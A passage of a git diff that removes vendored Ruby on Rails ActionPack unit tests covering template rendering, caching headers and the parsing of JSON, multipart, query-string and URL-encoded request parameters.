-  end
-
-  def test_render_and_redirect
-    assert_raise(ActionController::DoubleRenderError) { get :render_and_redirect }
-  end
-
-  # specify the one exception to double render rule - render_to_string followed by render
-  def test_render_to_string_and_render
-    get :render_to_string_and_render
-    assert_equal("Hi web users! here is some cached stuff", @response.body)
-  end
-
-  def test_rendering_with_conflicting_local_vars
-    get :rendering_with_conflicting_local_vars
-    assert_equal("First: David\nSecond: Stephan\nThird: David\nFourth: David\nFifth: ", @response.body)
-  end
-
-  def test_action_talk_to_layout
-    get :action_talk_to_layout
-    assert_equal "<title>Talking to the layout</title>\nAction was here!", @response.body
-  end
-
-  def test_render_text_with_assigns
-    get :render_text_with_assigns
-    assert_equal "world", assigns["hello"]
-  end
-
-  def test_template_with_locals
-    get :render_with_explicit_template_with_locals
-    assert_equal "The secret is area51\n", @response.body
-  end
-
-  def test_update_page
-    get :update_page
-    assert_template nil
-    assert_equal 'text/javascript; charset=utf-8', @response.headers['Content-Type']
-    assert_equal 2, @response.body.split($/).length
-  end
-
-  def test_update_page_with_instance_variables
-    get :update_page_with_instance_variables
-    assert_template nil
-    assert_equal 'text/javascript; charset=utf-8', @response.headers["Content-Type"]
-    assert_match /balance/, @response.body
-    assert_match /\$37/, @response.body
-  end
-
-  def test_update_page_with_view_method
-    get :update_page_with_view_method
-    assert_template nil
-    assert_equal 'text/javascript; charset=utf-8', @response.headers["Content-Type"]
-    assert_match /2 people/, @response.body
-  end
-
-  def test_yield_content_for
-    assert_not_deprecated { get :yield_content_for }
-    assert_equal "<title>Putting stuff in the title!</title>\n\nGreat stuff!\n", @response.body
-  end
-
-  def test_overwritting_rendering_relative_file_with_extension
-    get :hello_world_from_rxml_using_template
-    assert_equal "<html>\n  <p>Hello</p>\n</html>\n", @response.body
-
-    get :hello_world_from_rxml_using_action
-    assert_equal "<html>\n  <p>Hello</p>\n</html>\n", @response.body
-  end
-
-  def test_head_with_location_header
-    get :head_with_location_header
-    assert @response.body.blank?
-    assert_equal "/foo", @response.headers["Location"]
-    assert_response :ok
-  end
-
-  def test_head_with_custom_header
-    get :head_with_custom_header
-    assert @response.body.blank?
-    assert_equal "something", @response.headers["X-Custom-Header"]
-    assert_response :ok
-  end
-
-  def test_head_with_symbolic_status
-    get :head_with_symbolic_status, :status => "ok"
-    assert_equal "200 OK", @response.status
-    assert_response :ok
-
-    get :head_with_symbolic_status, :status => "not_found"
-    assert_equal "404 Not Found", @response.status
-    assert_response :not_found
-
-    get :head_with_symbolic_status, :status => "no_content"
-    assert_equal "204 No Content", @response.status
-    assert !@response.headers.include?('Content-Length')
-    assert_response :no_content
-
-    ActionController::StatusCodes::SYMBOL_TO_STATUS_CODE.each do |status, code|
-      get :head_with_symbolic_status, :status => status.to_s
-      assert_equal code, @response.response_code
-      assert_response status
-    end
-  end
-
-  def test_head_with_integer_status
-    ActionController::StatusCodes::STATUS_CODES.each do |code, message|
-      get :head_with_integer_status, :status => code.to_s
-      assert_equal message, @response.message
-    end
-  end
-
-  def test_head_with_string_status
-    get :head_with_string_status, :status => "404 Eat Dirt"
-    assert_equal 404, @response.response_code
-    assert_equal "Eat Dirt", @response.message
-    assert_response :not_found
-  end
-
-  def test_head_with_status_code_first
-    get :head_with_status_code_first
-    assert_equal 403, @response.response_code
-    assert_equal "Forbidden", @response.message
-    assert_equal "something", @response.headers["X-Custom-Header"]
-    assert_response :forbidden
-  end
-
-  def test_rendering_with_location_should_set_header
-    get :render_with_location
-    assert_equal "http://example.com", @response.headers["Location"]
-  end
-
-  def test_rendering_xml_should_call_to_xml_if_possible
-    get :render_with_to_xml
-    assert_equal "<i-am-xml/>", @response.body
-  end
-
-  def test_rendering_with_object_location_should_set_header_with_url_for
-    ActionController::Routing::Routes.draw do |map|
-      map.resources :customers
-      map.connect ':controller/:action/:id'
-    end
-
-    get :render_with_object_location
-    assert_equal "http://www.nextangle.com/customers/1", @response.headers["Location"]
-  end
-
-  def test_should_use_implicit_content_type
-    get :implicit_content_type, :format => 'atom'
-    assert_equal Mime::ATOM, @response.content_type
-  end
-
-  def test_using_layout_around_block
-    get :render_using_layout_around_block
-    assert_equal "Before (David)\nInside from block\nAfter", @response.body
-  end
-
-  def test_using_layout_around_block_in_main_layout_and_within_content_for_layout
-    get :render_using_layout_around_block_in_main_layout_and_within_content_for_layout
-    assert_equal "Before (Anthony)\nInside from first block in layout\nAfter\nBefore (David)\nInside from block\nAfter\nBefore (Ramm)\nInside from second block in layout\nAfter\n", @response.body
-  end
-
-  def test_using_layout_around_block_with_args
-    get :render_using_layout_around_block_with_args
-    assert_equal "Before\narg1arg2\nAfter", @response.body
-  end
-
-  def test_partial_only
-    get :partial_only
-    assert_equal "only partial", @response.body
-  end
-
-  def test_should_render_html_formatted_partial
-    get :partial
-    assert_equal 'partial html', @response.body
-  end
-
-  def test_should_render_html_partial_with_dot
-    get :partial_dot_html
-    assert_equal 'partial html', @response.body
-  end
-
-  def test_should_render_html_formatted_partial_with_rjs
-    xhr :get, :partial_as_rjs
-    assert_equal %(Element.replace("foo", "partial html");), @response.body
-  end
-
-  def test_should_render_html_formatted_partial_with_rjs_and_js_format
-    xhr :get, :respond_to_partial_as_rjs
-    assert_equal %(Element.replace("foo", "partial html");), @response.body
-  end
-
-  def test_should_render_js_partial
-    xhr :get, :partial, :format => 'js'
-    assert_equal 'partial js', @response.body
-  end
-
-  def test_should_render_with_alternate_default_render
-    xhr :get, :render_alternate_default
-    assert_equal %(Element.replace("foo", "partial html");), @response.body
-  end
-
-  def test_partial_only_with_layout
-    get :partial_only_with_layout
-    assert_equal "<html>only partial</html>", @response.body
-  end
-
-  def test_render_to_string_partial
-    get :render_to_string_with_partial
-    assert_equal "only partial", assigns(:partial_only)
-    assert_equal "Hello: david", assigns(:partial_with_locals)
-  end
-
-  def test_partial_with_counter
-    get :partial_with_counter
-    assert_equal "5", @response.body
-  end
-
-  def test_partial_with_locals
-    get :partial_with_locals
-    assert_equal "Hello: david", @response.body
-  end
-
-  def test_partial_with_form_builder
-    get :partial_with_form_builder
-    assert_match(/<label/, @response.body)
-    assert_template('test/_form')
-  end
-
-  def test_partial_with_form_builder_subclass
-    get :partial_with_form_builder_subclass
-    assert_match(/<label/, @response.body)
-    assert_template('test/_labelling_form')
-  end
-
-  def test_partial_collection
-    get :partial_collection
-    assert_equal "Hello: davidHello: mary", @response.body
-  end
-
-  def test_partial_collection_with_as
-    get :partial_collection_with_as
-    assert_equal "david david davidmary mary mary", @response.body
-  end
-
-  def test_partial_collection_with_counter
-    get :partial_collection_with_counter
-    assert_equal "david0mary1", @response.body
-  end
-
-  def test_partial_collection_with_as_and_counter
-    get :partial_collection_with_as_and_counter
-    assert_equal "david0mary1", @response.body
-  end
-
-  def test_partial_collection_with_locals
-    get :partial_collection_with_locals
-    assert_equal "Bonjour: davidBonjour: mary", @response.body
-  end
-
-  def test_partial_collection_with_spacer
-    get :partial_collection_with_spacer
-    assert_equal "Hello: davidonly partialHello: mary", @response.body
-    assert_template :partial => 'test/_partial_only'
-    assert_template :partial => '_customer'
-  end
-
-  def test_partial_collection_shorthand_with_locals
-    get :partial_collection_shorthand_with_locals
-    assert_equal "Bonjour: davidBonjour: mary", @response.body
-    assert_template :partial => 'customers/_customer', :count => 2
-    assert_template :partial => '_completely_fake_and_made_up_template_that_cannot_possibly_be_rendered', :count => 0
-  end
-
-  def test_partial_collection_shorthand_with_different_types_of_records
-    get :partial_collection_shorthand_with_different_types_of_records
-    assert_equal "Bonjour bad customer: mark0Bonjour good customer: craig1Bonjour bad customer: john2Bonjour good customer: zach3Bonjour good customer: brandon4Bonjour bad customer: dan5", @response.body
-    assert_template :partial => 'good_customers/_good_customer', :count => 3
-    assert_template :partial => 'bad_customers/_bad_customer', :count => 3
-  end
-
-  def test_empty_partial_collection
-    get :empty_partial_collection
-    assert_equal " ", @response.body
-    assert_template :partial => false
-  end
-
-  def test_partial_with_hash_object
-    get :partial_with_hash_object
-    assert_equal "Sam\nmaS\n", @response.body
-  end
-
-  def test_partial_with_nested_object
-    get :partial_with_nested_object
-    assert_equal "first", @response.body
-  end
-
-  def test_partial_with_nested_object_shorthand
-    get :partial_with_nested_object_shorthand
-    assert_equal "first", @response.body
-  end
-
-  def test_hash_partial_collection
-    get :partial_hash_collection
-    assert_equal "Pratik\nkitarP\nAmy\nymA\n", @response.body
-  end
-
-  def test_partial_hash_collection_with_locals
-    get :partial_hash_collection_with_locals
-    assert_equal "Hola: PratikHola: Amy", @response.body
-  end
-
-  def test_partial_with_implicit_local_assignment
-    assert_deprecated do
-      get :partial_with_implicit_local_assignment
-      assert_equal "Hello: Marcel", @response.body
-    end
-  end
-
-  def test_partial_with_implicit_local_assignment_and_nil_local
-    assert_not_deprecated do
-      get :partial_with_implicit_local_assignment_and_nil_local
-      assert_equal "Hello: Anonymous", @response.body
-    end
-  end
-
-  def test_render_missing_partial_template
-    assert_raise(ActionView::MissingTemplate) do
-      get :missing_partial
-    end
-  end
-
-  def test_render_call_to_partial_with_layout
-    get :render_call_to_partial_with_layout
-    assert_equal "Before (David)\nInside from partial (David)\nAfter", @response.body
-  end
-
-  def test_render_call_to_partial_with_layout_in_main_layout_and_within_content_for_layout
-    get :render_call_to_partial_with_layout_in_main_layout_and_within_content_for_layout
-    assert_equal "Before (Anthony)\nInside from partial (Anthony)\nAfter\nBefore (David)\nInside from partial (David)\nAfter\nBefore (Ramm)\nInside from partial (Ramm)\nAfter", @response.body
-  end
-end
-
-class ExpiresInRenderTest < ActionController::TestCase
-  tests TestController
-
-  def setup
-    @request.host = "www.nextangle.com"
-  end
-  
-  def test_expires_in_header
-    get :conditional_hello_with_expires_in
-    assert_equal "max-age=60, private", @response.headers["Cache-Control"]
-  end
-  
-  def test_expires_in_header_with_public
-    get :conditional_hello_with_expires_in_with_public
-    assert_equal "max-age=60, public", @response.headers["Cache-Control"]
-  end
-  
-  def test_expires_in_header_with_additional_headers
-    get :conditional_hello_with_expires_in_with_public_with_more_keys
-    assert_equal "max-age=60, public, max-stale=18000", @response.headers["Cache-Control"]
-  end
-  
-  def test_expires_in_old_syntax
-    get :conditional_hello_with_expires_in_with_public_with_more_keys_old_syntax
-    assert_equal "max-age=60, public, max-stale=18000", @response.headers["Cache-Control"]
-  end
-end
-
-
-class EtagRenderTest < ActionController::TestCase
-  tests TestController
-
-  def setup
-    @request.host = "www.nextangle.com"
-    @expected_bang_etag = etag_for(expand_key([:foo, 123]))
-  end
-
-  def test_render_blank_body_shouldnt_set_etag
-    get :blank_response
-    assert !@response.etag?, @response.headers.inspect
-  end
-
-  def test_render_200_should_set_etag
-    get :render_hello_world_from_variable
-    assert_equal etag_for("hello david"), @response.headers['ETag']
-    assert_equal "private, max-age=0, must-revalidate", @response.headers['Cache-Control']
-  end
-
-  def test_render_against_etag_request_should_304_when_match
-    @request.if_none_match = etag_for("hello david")
-    get :render_hello_world_from_variable
-    assert_equal "304 Not Modified", @response.status
-    assert @response.body.empty?
-  end
-
-  def test_render_against_etag_request_should_have_no_content_length_when_match
-    @request.if_none_match = etag_for("hello david")
-    get :render_hello_world_from_variable
-    assert_nil @response.headers["Content-Length"], @response.headers.inspect
-  end
-
-  def test_render_against_etag_request_should_200_when_no_match
-    @request.if_none_match = etag_for("hello somewhere else")
-    get :render_hello_world_from_variable
-    assert_equal "200 OK", @response.status
-    assert !@response.body.empty?
-  end
-
-  def test_render_should_not_set_etag_when_last_modified_has_been_specified
-    get :render_hello_world_with_last_modified_set
-    assert_equal "200 OK", @response.status
-    assert_not_nil @response.last_modified
-    assert_nil @response.etag
-    assert @response.body.present?
-  end
-
-  def test_render_with_etag
-    get :render_hello_world_from_variable
-    expected_etag = etag_for('hello david')
-    assert_equal expected_etag, @response.headers['ETag']
-    @response = ActionController::TestResponse.new
-
-    @request.if_none_match = expected_etag
-    get :render_hello_world_from_variable
-    assert_equal "304 Not Modified", @response.status
-
-    @request.if_none_match = "\"diftag\""
-    get :render_hello_world_from_variable
-    assert_equal "200 OK", @response.status
-  end
-
-  def render_with_404_shouldnt_have_etag
-    get :render_custom_code
-    assert_nil @response.headers['ETag']
-  end
-
-  def test_etag_should_not_be_changed_when_already_set
-    get :render_hello_world_with_etag_set
-    assert_equal etag_for("hello_world"), @response.headers['ETag']
-  end
-
-  def test_etag_should_govern_renders_with_layouts_too
-    get :builder_layout_test
-    assert_equal "<wrapper>\n<html>\n  <p>Hello </p>\n<p>This is grand!</p>\n</html>\n</wrapper>\n", @response.body
-    assert_equal etag_for("<wrapper>\n<html>\n  <p>Hello </p>\n<p>This is grand!</p>\n</html>\n</wrapper>\n"), @response.headers['ETag']
-  end
-
-  def test_etag_with_bang_should_set_etag
-    get :conditional_hello_with_bangs
-    assert_equal @expected_bang_etag, @response.headers["ETag"]
-    assert_response :success
-  end
-
-  def test_etag_with_bang_should_obey_if_none_match
-    @request.if_none_match = @expected_bang_etag
-    get :conditional_hello_with_bangs
-    assert_response :not_modified
-  end
-  
-  def test_etag_with_public_true_should_set_header
-    get :conditional_hello_with_public_header
-    assert_equal "public", @response.headers['Cache-Control']
-  end
-  
-  def test_etag_with_public_true_should_set_header_and_retain_other_headers
-    get :conditional_hello_with_public_header_and_expires_at
-    assert_equal "max-age=60, public", @response.headers['Cache-Control']
-  end
-
-  protected
-    def etag_for(text)
-      %("#{Digest::MD5.hexdigest(text)}")
-    end
-
-    def expand_key(args)
-      ActiveSupport::Cache.expand_cache_key(args)
-    end
-end
-
-class LastModifiedRenderTest < ActionController::TestCase
-  tests TestController
-
-  def setup
-    @request.host = "www.nextangle.com"
-    @last_modified = Time.now.utc.beginning_of_day.httpdate
-  end
-
-  def test_responds_with_last_modified
-    get :conditional_hello
-    assert_equal @last_modified, @response.headers['Last-Modified']
-  end
-
-  def test_request_not_modified
-    @request.if_modified_since = @last_modified
-    get :conditional_hello
-    assert_equal "304 Not Modified", @response.status
-    assert @response.body.blank?, @response.body
-    assert_equal @last_modified, @response.headers['Last-Modified']
-  end
-
-  def test_request_not_modified_but_etag_differs
-    @request.if_modified_since = @last_modified
-    @request.if_none_match = "234"
-    get :conditional_hello
-    assert_response :success
-  end
-
-  def test_request_modified
-    @request.if_modified_since = 'Thu, 16 Jul 2008 00:00:00 GMT'
-    get :conditional_hello
-    assert_equal "200 OK", @response.status
-    assert !@response.body.blank?
-    assert_equal @last_modified, @response.headers['Last-Modified']
-  end
-
-  def test_request_with_bang_gets_last_modified
-    get :conditional_hello_with_bangs
-    assert_equal @last_modified, @response.headers['Last-Modified']
-    assert_response :success
-  end
-
-  def test_request_with_bang_obeys_last_modified
-    @request.if_modified_since = @last_modified
-    get :conditional_hello_with_bangs
-    assert_response :not_modified
-  end
-
-  def test_last_modified_works_with_less_than_too
-    @request.if_modified_since = 5.years.ago.httpdate
-    get :conditional_hello_with_bangs
-    assert_response :success
-  end
-end
-
-class RenderingLoggingTest < ActionController::TestCase
-  tests TestController
-
-  def setup
-    @request.host = "www.nextangle.com"
-  end
-
-  def test_logger_prints_layout_and_template_rendering_info
-    @controller.logger = MockLogger.new
-    get :layout_test
-    logged = @controller.logger.logged.find_all {|l| l =~ /render/i }
-    assert_equal "Rendering template within layouts/standard", logged[0]
-    assert_equal "Rendering test/hello_world", logged[1]
-  end
-end
diff --git a/vendor/rails/actionpack/test/controller/request/json_params_parsing_test.rb b/vendor/rails/actionpack/test/controller/request/json_params_parsing_test.rb
deleted file mode 100644
index db6cf7b3..00000000
--- a/vendor/rails/actionpack/test/controller/request/json_params_parsing_test.rb
+++ /dev/null
@@ -1,65 +0,0 @@
-require 'abstract_unit'
-
-class JsonParamsParsingTest < ActionController::IntegrationTest
-  class TestController < ActionController::Base
-    class << self
-      attr_accessor :last_request_parameters
-    end
-
-    def parse
-      self.class.last_request_parameters = request.request_parameters
-      head :ok
-    end
-  end
-
-  def teardown
-    TestController.last_request_parameters = nil
-  end
-
-  test "parses json params for application json" do
-    assert_parses(
-      {"person" => {"name" => "David"}},
-      "{\"person\": {\"name\": \"David\"}}", { 'CONTENT_TYPE' => 'application/json' }
-    )
-  end
-
-  test "parses json params for application jsonrequest" do
-    assert_parses(
-      {"person" => {"name" => "David"}},
-      "{\"person\": {\"name\": \"David\"}}", { 'CONTENT_TYPE' => 'application/jsonrequest' }
-    )
-  end
-
-  test "logs error if parsing unsuccessful" do
-    with_test_routing do
-      begin
-        $stderr = StringIO.new
-        json = "[\"person]\": {\"name\": \"David\"}}"
-        post "/parse", json, {'CONTENT_TYPE' => 'application/json'}
-        assert_response :error
-        $stderr.rewind && err = $stderr.read
-        assert err =~ /Error occurred while parsing request parameters/
-      ensure
-        $stderr = STDERR
-      end
-    end
-  end
-
-  private
-    def assert_parses(expected, actual, headers = {})
-      with_test_routing do
-        post "/parse", actual, headers
-        assert_response :ok
-        assert_equal(expected, TestController.last_request_parameters)
-      end
-    end
-
-    def with_test_routing
-      with_routing do |set|
-        set.draw do |map|
-          map.connect ':action', :controller => "json_params_parsing_test/test"
-        end
-        yield
-      end
-    end
-end
diff --git a/vendor/rails/actionpack/test/controller/request/multipart_params_parsing_test.rb b/vendor/rails/actionpack/test/controller/request/multipart_params_parsing_test.rb
deleted file mode 100644
index 46aee378..00000000
--- a/vendor/rails/actionpack/test/controller/request/multipart_params_parsing_test.rb
+++ /dev/null
@@ -1,177 +0,0 @@
-require 'abstract_unit'
-
-class MultipartParamsParsingTest < ActionController::IntegrationTest
-  class TestController < ActionController::Base
-    class << self
-      attr_accessor :last_request_parameters
-    end
-
-    def parse
-      self.class.last_request_parameters = request.request_parameters
-      head :ok
-    end
-
-    def read
-      render :text => "File: #{params[:uploaded_data].read}"
-    end
-
-    def read_complex
-      render :text => "File: #{params[:level0][:level1][0][:file_data].read}"
-    end
-  end
-
-  FIXTURE_PATH = File.dirname(__FILE__) + '/../../fixtures/multipart'
-
-  def teardown
-    TestController.last_request_parameters = nil
-  end
-
-  test "parses single parameter" do
-    assert_equal({ 'foo' => 'bar' }, parse_multipart('single_parameter'))
-  end
-
-  test "parses bracketed parameters" do
-    assert_equal({ 'foo' => { 'baz' => 'bar'}}, parse_multipart('bracketed_param'))
-  end
-
-  test "parses text file" do
-    params = parse_multipart('text_file')
-    assert_equal %w(file foo), params.keys.sort
-    assert_equal 'bar', params['foo']
-
-    file = params['file']
-    assert_kind_of Tempfile, file
-    assert_equal 'file.txt', file.original_filename
-    assert_equal "text/plain", file.content_type
-    assert_equal 'contents', file.read
-  end
-
-  test "parses boundary problem file" do
-    params = parse_multipart('boundary_problem_file')
-    assert_equal %w(file foo), params.keys.sort
-
-    file = params['file']
-    foo  = params['foo']
-
-    assert_kind_of Tempfile, file
-
-    assert_equal 'file.txt', file.original_filename
-    assert_equal "text/plain", file.content_type
-
-    assert_equal 'bar', foo
-  end
-
-  test "parses large text file" do
-    params = parse_multipart('large_text_file')
-    assert_equal %w(file foo), params.keys.sort
-    assert_equal 'bar', params['foo']
-
-    file = params['file']
-
-    assert_kind_of Tempfile, file
-
-    assert_equal 'file.txt', file.original_filename
-    assert_equal "text/plain", file.content_type
-    assert ('a' * 20480) == file.read
-  end
-
-  test "parses binary file" do
-    params = parse_multipart('binary_file')
-    assert_equal %w(file flowers foo), params.keys.sort
-    assert_equal 'bar', params['foo']
-
-    file = params['file']
-    assert_kind_of Tempfile, file
-    assert_equal 'file.csv', file.original_filename
-    assert_nil file.content_type
-    assert_equal 'contents', file.read
-
-    file = params['flowers']
-    assert_kind_of Tempfile, file
-    assert_equal 'flowers.jpg', file.original_filename
-    assert_equal "image/jpeg", file.content_type
-    assert_equal 19512, file.size
-  end
-
-  test "parses mixed files" do
-    params = parse_multipart('mixed_files')
-    assert_equal %w(files foo), params.keys.sort
-    assert_equal 'bar', params['foo']
-
-    # Ruby CGI doesn't handle multipart/mixed for us.
-    files = params['files']
-    assert_kind_of Tempfile, files
-    files.force_encoding('ASCII-8BIT') if files.respond_to?(:force_encoding)
-    assert_equal 19756, files.size
-  end
-
-  test "does not create tempfile if no file has been selected" do
-    params = parse_multipart('none')
-    assert_equal %w(submit-name), params.keys.sort
-    assert_equal 'Larry', params['submit-name']
-    assert_equal nil, params['files']
-  end
-
-  test "parses empty upload file" do
-    params = parse_multipart('empty')
-    assert_equal %w(files submit-name), params.keys.sort
-    assert_equal 'Larry', params['submit-name']
-    assert params['files']
-    assert_equal "", params['files'].read
-  end
-
-  test "uploads and reads binary file" do
-    with_test_routing do
-      fixture = FIXTURE_PATH + "/mona_lisa.jpg"
-      params = { :uploaded_data => fixture_file_upload(fixture, "image/jpg") }
-      post '/read', params
-      expected_length = 'File: '.length + File.size(fixture)
-      assert_equal expected_length, response.content_length
-    end
-  end
-
-  test "uploads and reads file" do
-    with_test_routing do
-      post '/read', :uploaded_data => fixture_file_upload(FIXTURE_PATH + "/hello.txt", "text/plain")
-      assert_equal "File: Hello", response.body
-    end
-  end
-
-  test "uploads and reads file in complex parameter" do
-    with_test_routing do
-      post '/read_complex',
-      :level0 => {
-        :level1 => [ { :file_data => fixture_file_upload(FIXTURE_PATH + "/hello.txt", "text/plain") }
-                   ]
-      }
-      assert_equal "File: Hello", response.body
-    end
-  end
-
-  private
-    def fixture(name)
-      File.open(File.join(FIXTURE_PATH, name), 'rb') do |file|
-        { "rack.input" => file.read,
-          "CONTENT_TYPE" => "multipart/form-data; boundary=AaB03x",
-          "CONTENT_LENGTH" => file.stat.size.to_s }
-      end
-    end
-
-    def parse_multipart(name)
-      with_test_routing do
-        headers = fixture(name)
-        post "/parse", headers.delete("rack.input"), headers
-        assert_response :ok
-        TestController.last_request_parameters
-      end
-    end
-
-    def with_test_routing
-      with_routing do |set|
-        set.draw do |map|
-          map.connect ':action', :controller => "multipart_params_parsing_test/test"
-        end
-        yield
-      end
-    end
-end
diff --git a/vendor/rails/actionpack/test/controller/request/query_string_parsing_test.rb b/vendor/rails/actionpack/test/controller/request/query_string_parsing_test.rb
deleted file mode 100644
index a31e326d..00000000
--- a/vendor/rails/actionpack/test/controller/request/query_string_parsing_test.rb
+++ /dev/null
@@ -1,120 +0,0 @@
-require 'abstract_unit'
-
-class QueryStringParsingTest < ActionController::IntegrationTest
-  class TestController < ActionController::Base
-    class << self
-      attr_accessor :last_query_parameters
-    end
-
-    def parse
-      self.class.last_query_parameters = request.query_parameters
-      head :ok
-    end
-  end
-
-  def teardown
-    TestController.last_query_parameters = nil
-  end
-
-  test "query string" do
-    assert_parses(
-      {"action" => "create_customer", "full_name" => "David Heinemeier Hansson", "customerId" => "1"},
-      "action=create_customer&full_name=David%20Heinemeier%20Hansson&customerId=1"
-    )
-  end
-
-  test "deep query string" do
-    assert_parses(
-      {'x' => {'y' => {'z' => '10'}}},
-      "x[y][z]=10"
-    )
-  end
-
-  test "deep query string with array" do
-    assert_parses({'x' => {'y' => {'z' => ['10']}}}, 'x[y][z][]=10')
-    assert_parses({'x' => {'y' => {'z' => ['10', '5']}}}, 'x[y][z][]=10&x[y][z][]=5')
-  end
-
-  test "deep query string with array of hash" do
-    assert_parses({'x' => {'y' => [{'z' => '10'}]}}, 'x[y][][z]=10')
-    assert_parses({'x' => {'y' => [{'z' => '10', 'w' => '10'}]}}, 'x[y][][z]=10&x[y][][w]=10')
-    assert_parses({'x' => {'y' => [{'z' => '10', 'v' => {'w' => '10'}}]}}, 'x[y][][z]=10&x[y][][v][w]=10')
-  end
-
-  test "deep query string with array of hashes with one pair" do
-    assert_parses({'x' => {'y' => [{'z' => '10'}, {'z' => '20'}]}}, 'x[y][][z]=10&x[y][][z]=20')
-  end
-
-  test "deep query string with array of hashes with multiple pairs" do
-    assert_parses(
-      {'x' => {'y' => [{'z' => '10', 'w' => 'a'}, {'z' => '20', 'w' => 'b'}]}},
-      'x[y][][z]=10&x[y][][w]=a&x[y][][z]=20&x[y][][w]=b'
-    )
-  end
-
-  test "query string with nil" do
-    assert_parses(
-      { "action" => "create_customer", "full_name" => ''},
-      "action=create_customer&full_name="
-    )
-  end
-
-  test "query string with array" do
-    assert_parses(
-      { "action" => "create_customer", "selected" => ["1", "2", "3"]},
-      "action=create_customer&selected[]=1&selected[]=2&selected[]=3"
-    )
-  end
-
-  test "query string with amps" do
-    assert_parses(
-      { "action" => "create_customer", "name" => "Don't & Does"},
-      "action=create_customer&name=Don%27t+%26+Does"
-    )
-  end
-
-  test "query string with many equal" do
-    assert_parses(
-      { "action" => "create_customer", "full_name" => "abc=def=ghi"},
-      "action=create_customer&full_name=abc=def=ghi"
-    )
-  end
-
-  test "query string without equal" do
-    assert_parses({ "action" => nil }, "action")
-  end
-
-  test "query string with empty key" do
-    assert_parses(
-      { "action" => "create_customer", "full_name" => "David Heinemeier Hansson" },
-      "action=create_customer&full_name=David%20Heinemeier%20Hansson&=Save"
-    )
-  end
-
-  test "query string with many ampersands" do
-    assert_parses(
-      { "action" => "create_customer", "full_name" => "David Heinemeier Hansson"},
-      "&action=create_customer&&&full_name=David%20Heinemeier%20Hansson"
-    )
-  end
-
-  test "unbalanced query string with array" do
-    assert_parses(
-      {'location' => ["1", "2"], 'age_group' => ["2"]},
-      "location[]=1&location[]=2&age_group[]=2"
-    )
-  end
-
-  private
-    def assert_parses(expected, actual)
-      with_routing do |set|
-        set.draw do |map|
-          map.connect ':action', :controller => "query_string_parsing_test/test"
-        end
-
-        get "/parse", actual
-        assert_response :ok
-        assert_equal(expected, TestController.last_query_parameters)
-      end
-    end
-end
diff --git a/vendor/rails/actionpack/test/controller/request/test_request_test.rb b/vendor/rails/actionpack/test/controller/request/test_request_test.rb
deleted file mode 100644
index 81551b4b..00000000
--- a/vendor/rails/actionpack/test/controller/request/test_request_test.rb
+++ /dev/null
@@ -1,35 +0,0 @@
-require 'abstract_unit'
-require 'stringio'
-
-class ActionController::TestRequestTest < ActiveSupport::TestCase
-
-  def setup
-    @request = ActionController::TestRequest.new
-  end
-
-  def test_test_request_has_session_options_initialized
-    assert @request.session_options
-  end
-  
-  Rack::Session::Abstract::ID::DEFAULT_OPTIONS.each_key do |option|
-    test "test_rack_default_session_options_#{option}_exists_in_session_options_and_is_default" do
-      assert_equal(Rack::Session::Abstract::ID::DEFAULT_OPTIONS[option], 
-                   @request.session_options[option], 
-                   "Missing rack session default option #{option} in request.session_options")
-    end
-    test "test_rack_default_session_options_#{option}_exists_in_session_options" do
-      assert(@request.session_options.has_key?(option), 
-                   "Missing rack session option #{option} in request.session_options")
-    end
-  end
-  
-  def test_session_id_exists_by_default
-    assert_not_nil(@request.session_options[:id])
-  end
-  
-  def test_session_id_different_on_each_call
-    prev_id = 
-    assert_not_equal(@request.session_options[:id], ActionController::TestRequest.new.session_options[:id])
-  end
-  
-end
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/controller/request/url_encoded_params_parsing_test.rb b/vendor/rails/actionpack/test/controller/request/url_encoded_params_parsing_test.rb
deleted file mode 100644
index 7167cdaf..00000000
--- a/vendor/rails/actionpack/test/controller/request/url_encoded_params_parsing_test.rb
+++ /dev/null
@@ -1,146 +0,0 @@
-require 'abstract_unit'
-
-class UrlEncodedParamsParsingTest < ActionController::IntegrationTest
-  class TestController < ActionController::Base
-    class << self
-      attr_accessor :last_request_parameters, :last_request_type
-    end
-
-    def parse
-      self.class.last_request_parameters = request.request_parameters
-      head :ok
-    end
-  end
-
-  def teardown
-    TestController.last_request_parameters = nil
-  end
-
-  test "parses unbalanced query string with array" do
-    assert_parses(
-       {'location' => ["1", "2"], 'age_group' => ["2"]},
-      "location[]=1&location[]=2&age_group[]=2"
-    )
-  end
-
-  test "parses nested hash" do
-    query = [
-      "note[viewers][viewer][][type]=User",
-      "note[viewers][viewer][][id]=1",
-      "note[viewers][viewer][][type]=Group",
-      "note[viewers][viewer][][id]=2"
-    ].join("&")
-
-    expected = { "note" => { "viewers"=>{"viewer"=>[{ "id"=>"1", "type"=>"User"}, {"type"=>"Group", "id"=>"2"} ]} } }
-    assert_parses(expected, query)
-  end
-
-  test "parses more complex nesting" do
-    query = [
-      "customers[boston][first][name]=David",
-      "customers[boston][first][url]=http://David",
-      "customers[boston][second][name]=Allan",
-      "customers[boston][second][url]=http://Allan",
-      "something_else=blah",
-      "something_nil=",
-      "something_empty=",
-      "products[first]=Apple Computer",
-      "products[second]=Pc",
-      "=Save"
-    ].join("&")
-
-    expected =  {
-      "customers" => {
-        "boston" => {
-          "first" => {
-            "name" => "David",
-            "url" => "http://David"
-          },
-          "second" => {
-            "name" => "Allan",
-            "url" => "http://Allan"
-          }
-        }
-      },
-      "something_else" => "blah",
-      "something_empty" => "",
-      "something_nil" => "",
-      "products" => {
-        "first" => "Apple Computer",
-        "second" => "Pc"
-      }
-    }
-
-    assert_parses expected, query
-  end
-
-  test "parses params with array" do
-    query = "selected[]=1&selected[]=2&selected[]=3"
-    expected = { "selected" => [ "1", "2", "3" ] }
-    assert_parses expected, query
-  end
-
-  test "parses params with nil key" do
-    query    = "=&test2=value1"
-    expected = { "test2" => "value1" }
-    assert_parses expected, query
-  end
-
-  test "parses params with array prefix and hashes" do
-    query    = "a[][b][c]=d"
-    expected = {"a" => [{"b" => {"c" => "d"}}]}
-    assert_parses expected, query
-  end
-
-  test "parses params with complex nesting" do
-    query    = "a[][b][c][][d][]=e"
-    expected = {"a" => [{"b" => {"c" => [{"d" => ["e"]}]}}]}
-    assert_parses expected, query
-  end
-
-  test "parses params with file path" do
-    query = [
-      "customers[boston][first][name]=David",
-      "something_else=blah",
-      "logo=#{File.expand_path(__FILE__)}"
-    ].join("&")
-
-    expected = {
-      "customers" => {
-        "boston" => {
-          "first" => {
-            "name" => "David"
-          }
-        }
-      },
-      "something_else" => "blah",
-      "logo" => File.expand_path(__FILE__),
-    }
-
-    assert_parses expected, query
-  end
-
-  test "parses params with Safari 2 trailing null character" do
